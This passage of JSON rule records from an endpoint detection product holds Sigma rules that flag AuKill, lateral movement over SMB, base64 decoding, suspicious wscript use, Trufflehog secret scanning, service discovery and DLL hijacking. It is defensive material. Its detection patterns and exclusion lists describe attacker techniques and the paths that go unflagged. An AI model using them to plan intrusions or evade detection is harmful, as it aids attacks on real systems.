+  "rule_id": "3bb878f5-2c04-4eea-95f3-66a02b04a863",
+  "rule_name": "AuKill Service Installed",
+  "rule_description": "Detects the installation of the AuKill service.\nAuKill is a defense solution killer that uses a Process Explorer vulnerable driver to terminate security solutions' processes and services, and to unload their drivers.\nIt registers itself as a service to establish persistence.\nIt is recommended to investigate for other suspicious activities surrounding this event.\n",
+  "rule_creation_date": "2023-04-24",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3bb903c4-6183-4e4b-af21-b67c40c67995",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090378Z",
+  "creation_date": "2026-03-23T11:45:34.090380Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090384Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf",
+    "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1570/"
+  ],
+  "name": "t1570_pe_move_smb_share.yml",
+  "content": "title: PE File Copied to an SMB Share\nid: 3bb903c4-6183-4e4b-af21-b67c40c67995\ndescription: |\n    Detects copies or moves of executable files to an SMB share.\n    This technique may be used by an attacker to copy malicious programs to another machine as a means of moving laterally.\n    It is recommended to investigate the process moving the files and the files themselves to determine if they contain malicious tools or indicators.\nreferences:\n    - https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf\n    - https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1570/\ndate: 2023/02/22\nmodified: 2025/10/16\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1570\n    - attack.command_and_control\n    - attack.t1105\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith:\n            - '\\xcopy.exe'\n            - '\\robocopy.exe'\n        # Renamed binaries\n        - OriginalFileName:\n            - 'xcopy.exe'\n            - 'robocopy.exe'\n\n    selection_cmdline:\n        Image|endswith:\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n        CommandLine|contains:\n            - ' copy '\n            - ' move '\n            - ' mv '\n\n    selection_smb_share:\n        CommandLine|endswith:\n            - ' \\\\\\\\*\\\\*.dll'\n            - ' \\\\\\\\*\\\\*.exe'\n\n    filter_from_share:\n        CommandLine|contains:\n            - 'robocopy.exe \\\\\\\\'\n            - 'robocopy.exe? \\\\\\\\'\n            - 'robocopy.exe?? \\\\\\\\'\n            - 'robocopy.exe??? \\\\\\\\'\n            - 'xcopy.exe \\\\\\\\'\n            - 'xcopy.exe? \\\\\\\\'\n            - 'xcopy.exe?? \\\\\\\\'\n            - 'xcopy.exe??? \\\\\\\\'\n\n    exclusion_dassault:\n        ParentImage: '?:\\Program Files\\Dassault Systemes\\3DEXPERIENCE Launcher\\DataSafe\\\\*\\\\*\\1\\inst\\win_b64\\code\\bin\\DSYInsPipeServer.exe'\n\n    exclusion_programfiles:\n        CommandLine|endswith:\n            - ' /c copy *.exe ?:\\Program Files\\\\*\\\\*.exe'\n            - ' /c copy *.dll ?:\\Program Files\\\\*\\\\*.dll'\n            - ' /c copy *.exe ?:\\Program Files (x86)\\\\*\\\\*.exe'\n            - ' /c copy *.dll ?:\\Program Files (x86)\\\\*\\\\*.dll'\n\n    exclusion_sccm:\n        GrandparentImage: '?:\\MININT\\Tools\\X64\\TsManager.exe'\n\n    exclusion_msbuild:\n        GrandparentImage:\n            - '?:\\Program Files\\Microsoft Visual Studio\\\\*\\MSBuild\\Current\\Bin\\MSBuild.exe'\n            - '?:\\Program Files (x86)\\Microsoft Visual Studio\\\\*\\MSBuild\\Current\\Bin\\MSBuild.exe'\n            - '?:\\Program Files\\Microsoft Visual Studio\\\\*\\MSBuild\\Current\\Bin\\amd64\\MSBuild.exe'\n            - '?:\\Program Files (x86)\\Microsoft Visual Studio\\\\*\\MSBuild\\Current\\Bin\\amd64\\MSBuild.exe'\n\n    exclusion_wpkg:\n        GrandparentImage: '?:\\Program Files\\wpkg\\WPKGSrv.exe'\n\n    condition: ((selection_bin or selection_cmdline) and selection_smb_share) and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3bb903c4-6183-4e4b-af21-b67c40c67995",
+  "rule_name": "PE File Copied to an SMB Share",
+  "rule_description": "Detects copies or moves of executable files to an SMB share.\nThis technique may be used by an attacker to copy malicious programs to another machine as a means of moving laterally.\nIt is recommended to investigate the process moving the files and the files themselves to determine if they contain malicious tools or indicators.\n",
+  "rule_creation_date": "2023-02-22",
+  "rule_modified_date": "2025-10-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1570"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3bc01309-2aa0-419f-addd-eed4eb92903a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T16:09:45.126562Z",
+  "creation_date": "2026-03-23T11:45:34.616819Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.616827Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1027/T1027.md",
+    "https://attack.mitre.org/techniques/T1027/",
+    "https://attack.mitre.org/techniques/T1132/001/"
+  ],
+  "name": "t1027_decoding_base64_macos.yml",
+  "content": "title: Base64 Data Decoded (macOS)\nid: 3bc01309-2aa0-419f-addd-eed4eb92903a\ndescription: |\n    Detects the usage of the base64 utility to decode base64 encoded data.\n    This technique can be used by an attacker to hide a malicious payload and evade security defenses.\n    It is recommended to investigate the data that was decoded, how it was used, and the potentially malicious actions taken by the parent process.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1027/T1027.md\n    - https://attack.mitre.org/techniques/T1027/\n    - https://attack.mitre.org/techniques/T1132/001/\ndate: 2022/11/10\nmodified: 2026/03/19\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1027\n    - attack.command_and_control\n    - attack.t1132.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Obfuscation\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/base64'\n        CommandLine|contains:\n          - ' -D'\n          - ' --decode'\n        # Filter-out missing parents\n        ParentImage|contains: '?'\n        GrandparentImage|contains: '?'\n\n    exclusion_munki:\n        GrandparentImage: '/Library/MunkiReport/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python'\n\n    exclusion_installer:\n        ProcessParentCommandLine|startswith: '/bin/sh /tmp/PKInstallSandbox.??????/'\n\n    exclusion_homebrewshell:\n        - ParentImage: '/opt/homebrew/Cellar/zsh/*/bin/zsh'\n        - GrandparentImage: '/opt/homebrew/Cellar/ruby/*/bin/ruby'\n\n    exclusion_cursor:\n        ProcessAncestors|contains:\n            - '|/Applications/Cursor.app/Contents/Frameworks/Cursor Helper (Plugin).app/Contents/MacOS/Cursor Helper (Plugin)'\n            - '|/Applications/Cursor.app/Contents/Resources/app/resources/helpers/cursorsandbox'\n\n    exclusion_claude:\n        ProcessAncestors|contains:\n            - '|/Users/*/.local/share/claude/versions/?.?.??'\n            - '|/Users/*/Library/Application Support/Claude/claude-code/?.?.??/claude'\n\n    exclusion_vscode:\n        ProcessAncestors|contains: '|/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper (Plugin).app/Contents/MacOS/Code Helper (Plugin)'\n\n    exclusion_ruby:\n        ProcessAncestors|contains: '|/Users/*/.rbenv/versions/*/bin/ruby'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3bc01309-2aa0-419f-addd-eed4eb92903a",
+  "rule_name": "Base64 Data Decoded (macOS)",
+  "rule_description": "Detects the usage of the base64 utility to decode base64 encoded data.\nThis technique can be used by an attacker to hide a malicious payload and evade security defenses.\nIt is recommended to investigate the data that was decoded, how it was used, and the potentially malicious actions taken by the parent process.\n",
+  "rule_creation_date": "2022-11-10",
+  "rule_modified_date": "2026-03-19",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027",
+    "attack.t1132.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3bd1769f-b066-48af-bf7e-7abcc7770d0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623328Z",
+  "creation_date": "2026-03-23T11:45:34.623330Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623334Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/0xToxin/status/1569711852942249985",
+    "https://attack.mitre.org/techniques/T1204/002/"
+  ],
+  "name": "t1204_002_suspicious_user_execution_of_wscript.yml",
+  "content": "title: Suspicious wscript.exe User Execution\nid: 3bd1769f-b066-48af-bf7e-7abcc7770d0c\ndescription: |\n    Detects the suspicious user execution of Wscript, executing a script located outside the C drive.\n    This can be indicative of a user execution of a malicious script located inside a user-mounted infected ISO file.\n    It is recommended to investigate the content of the script executed and malicious actions taken by the wscript process to determine the legitimacy of this action.\nreferences:\n    - https://twitter.com/0xToxin/status/1569711852942249985\n    - https://attack.mitre.org/techniques/T1204/002/\ndate: 2022/09/28\nmodified: 2026/02/18\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - attack.t1566\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Wscript\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.Phishing\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\wscript.exe'\n        - OriginalFileName: 'wscript.exe'\n\n    selection_context:\n        ParentImage|endswith: '\\explorer.exe'\n        CommandLine|contains:\n            - '.wsf'\n            - '.vbs'\n            - '.js'\n        CurrentDirectory: '?:\\'\n\n    selection_drive:\n        CommandLine|contains: '\\wscript.exe ?:\\'\n\n    filter_drive:\n        CommandLine|contains: '\\wscript.exe C:\\'\n\n    exclusion_user:\n        ProcessCommandLine|contains: ' ?:\\Users\\\\*\\AppData\\Roaming\\'\n\n    exclusion_litetouch:\n        ProcessCommandLine: '?:\\windows\\system32\\wscript.exe ?:\\MININT\\Scripts\\LiteTouch.wsf'\n\n    exclusion_copilote:\n        ProcessCommandLine|contains:\n            - '?:\\Windows\\System32\\WScript.exe ?:\\Copilote\\copilote_exe\\cop_*\\verifmaj.wsf'\n            - '\\verifmaj.wsf //job:copilote'\n            - '\\copilote_exe\\cop_exe\\verifmaj.wsf //job:'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3bd1769f-b066-48af-bf7e-7abcc7770d0c",
+  "rule_name": "Suspicious wscript.exe User Execution",
+  "rule_description": "Detects the suspicious user execution of Wscript, executing a script located outside the C drive.\nThis can be indicative of a user execution of a malicious script located inside a user-mounted infected ISO file.\nIt is recommended to investigate the content of the script executed and malicious actions taken by the wscript process to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2022-09-28",
+  "rule_modified_date": "2026-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002",
+    "attack.t1566"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3bdb8ee4-7315-4cab-8678-275764e2199a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072071Z",
+  "creation_date": "2026-03-23T11:45:34.072073Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072077Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/trufflesecurity/trufflehog",
+    "https://www.zscaler.com/fr/blogs/security-research/mitigating-risks-shai-hulud-npm-worm",
+    "https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/",
+    "https://attack.mitre.org/techniques/T1552/"
+  ],
+  "name": "t1552_trufflehog_executed_windows.yml",
+  "content": "title: Trufflehog Executed (Windows)\nid: 3bdb8ee4-7315-4cab-8678-275764e2199a\ndescription: |\n    Detects the execution of Trufflehog, a security scanning tool commonly used to identify exposed secrets and credentials within source code repositories.\n    This tool was used in the Shai Hulud campaign, where attackers leveraged it to search for exposed secrets within compromised repositories.\n    The Shai Hulud campaign targeted the npm and Node.js ecosystem, focusing on compromised packages and developer environments to harvest exposed secrets and gain further access.\n    It is recommended to analyze the execution chain associated with this alert to determine if the usage of this tool is legitimate.\nreferences:\n    - https://github.com/trufflesecurity/trufflehog\n    - https://www.zscaler.com/fr/blogs/security-research/mitigating-risks-shai-hulud-npm-worm\n    - https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/\n    - https://attack.mitre.org/techniques/T1552/\ndate: 2025/11/26\nmodified: 2025/11/27\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1083\n    - attack.credential_access\n    - attack.t1552\n    - attack.collection\n    - attack.t1213\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Trufflehog\n    - classification.Windows.Behavior.Discovery\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.Collection\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\trufflehog.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3bdb8ee4-7315-4cab-8678-275764e2199a",
+  "rule_name": "Trufflehog Executed (Windows)",
+  "rule_description": "Detects the execution of Trufflehog, a security scanning tool commonly used to identify exposed secrets and credentials within source code repositories.\nThis tool was used in the Shai Hulud campaign, where attackers leveraged it to search for exposed secrets within compromised repositories.\nThe Shai Hulud campaign targeted the npm and Node.js ecosystem, focusing on compromised packages and developer environments to harvest exposed secrets and gain further access.\nIt is recommended to analyze the execution chain associated with this alert to determine if the usage of this tool is legitimate.\n",
+  "rule_creation_date": "2025-11-26",
+  "rule_modified_date": "2025-11-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1083",
+    "attack.t1213",
+    "attack.t1552"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3c0e776d-a6f9-49d4-b5b9-3d398c13d0ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083543Z",
+  "creation_date": "2026-03-23T11:45:34.083545Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083550Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1007/"
+  ],
+  "name": "t1007_tasklist_svc.yml",
+  "content": "title: System Service Discovered via tasklist.exe\nid: 3c0e776d-a6f9-49d4-b5b9-3d398c13d0ef\ndescription: |\n    Detects the execution of tasklist.exe to enumerate system services.\n    Adversaries can use this command during discovery phase to enumerate running system services.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1007/\ndate: 2022/12/01\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1007\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\tasklist.exe'\n        - OriginalFileName: 'tasklist.exe'\n\n    selection_commandline:\n        CommandLine|contains:\n            - ' -svc'\n            - '/svc' # works with not space between command and argument\n\n    exclusion_programfiles:\n        - ParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - GrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_commandline:\n        CommandLine: 'tasklist /svc /fi imagename eq IpDesktopSoftphone.exe * /fi USERNAME eq *'\n\n    exclusion_alcatel:\n        ParentImage|endswith: '\\cmd.exe'\n        ParentCommandLine|contains|all:\n            - 'tasklist /svc /fi '\n            - ' \"imagename eq '\n        GrandparentImage|endswith: '\\cmd.exe'\n        GrandparentCommandLine|contains|all:\n            - 'Alcatel-Lucent Enterprise'\n            - 'IP Desktop Softphone'\n\n    exclusion_alcatel_phone:\n        # tasklist /svc /fi \"imagename eq MyNOEPhoneIPDesktop.exe\" /fi \"status eq Unknown\"\n        # tasklist /svc /fi \"imagename eq WerFault.exe\" /fi \"windowtitle eq IP Desktop Softphone*\"\n        CommandLine|contains:\n            - 'imagename eq MyNOEPhoneIPDesktop.exe'\n            - 'windowtitle eq IP Desktop Softphone'\n            - 'imagename eq IpDesktopSoftphone.exe'\n\n    exclusion_gathernetworkinfo:\n        ParentCommandLine: '?:\\Windows\\System32\\cmd.exe /c tasklist /svc > processes.txt'\n        GrandparentCommandLine: '?:\\Windows\\system32\\cscript.exe ?:\\Windows\\system32\\gatherNetworkInfo.vbs'\n\n    exclusion_veritas:\n        ParentCommandLine: '?:\\Windows\\system32\\cmd.exe /c tasklist /svc > ..\\Temp\\\\????????-????-????-????-????????????-output.txt'\n        GrandparentCommandLine: '?:\\Program Files\\Veritas\\NetBackup\\bin\\nbdisco.exe'\n\n    # https://www.horoquartz.fr/etemptation/\n    exclusion_etemptation:\n        - CommandLine: 'tasklist /svc /nh /fo CSV /fi SERVICES eq hrmsrvnt etptaprd'\n        - Ancestors|endswith: '\\Horoquartz\\Etemptation\\perl\\bin\\perl.exe|?:\\Windows\\System32\\cmd.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_manageengine:\n        ParentImage|endswith: '\\bin\\java.exe'\n        CommandLine: 'tasklist /svc /fi SERVICES eq uems_service'\n\n    exclusion_system5:\n        GrandparentImage|endswith: '\\perl.exe'\n        CurrentDirectory: '?:\\Program Files\\Carestream\\System5\\syscheck\\'\n\n    exclusion_cygwin:\n        Ancestors|contains:\n            - '?:\\WINAPP32\\CYGWIN\\bin\\cygrunsrv.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n            - '?:\\WINAPP64\\Perl64\\bin\\perl.exe|?:\\WINAPP64\\Perl64\\bin\\perl.exe|?:\\WINAPP64\\Perl64\\bin\\perl.exe|?:\\WINAPP32\\Cygwin\\bin\\bash.exe|?:\\WINAPP32\\Cygwin\\bin\\bash.exe'\n\n    exclusion_guardian_browser:\n        ParentImage: '?:\\User\\\\*\\AppData\\Local\\Programs\\guardian-browser\\Guardian Browser.exe'\n        CommandLine: 'tasklist.exe /svc /fo csv'\n\n    exclusion_servicenow1:\n        ParentImage|contains: 'ServiceNow'\n        Ancestors|endswith: '|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n    exclusion_servicenow2:\n        GrandparentCommandLine: 'cmd /c chcp 65001 & tasklist /svc * > \\\\\\\\127.0.0.1\\c$\\temp\\\\*\\psscript_output_*.txt 2>&1'\n        Ancestors|endswith: '|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_nessus:\n        GrandparentCommandLine|startswith: '?:\\Windows\\System32\\cmd.exe /c  ?:\\Windows\\System32\\tasklist.exe /FO csv /svc > ?:\\Windows\\TEMP\\nessus_task_list'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3c0e776d-a6f9-49d4-b5b9-3d398c13d0ef",
+  "rule_name": "System Service Discovered via tasklist.exe",
+  "rule_description": "Detects the execution of tasklist.exe to enumerate system services.\nAdversaries can use this command during discovery phase to enumerate running system services.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-12-01",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1007"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3c24db86-ccf8-47c4-8cd0-8fc0a0e0b4f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600046Z",
+  "creation_date": "2026-03-23T11:45:34.600050Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600058Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dmnotificationbroker.yml",
+  "content": "title: DLL Hijacking via dmnotificationbroker.exe\nid: 3c24db86-ccf8-47c4-8cd0-8fc0a0e0b4f2\ndescription: |\n    Detects potential Windows DLL Hijacking via dmnotificationbroker.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dmnotificationbroker.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DMCmnUtils.dll'\n            - '\\dui70.dll'\n            - '\\windows.ui.immersive.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
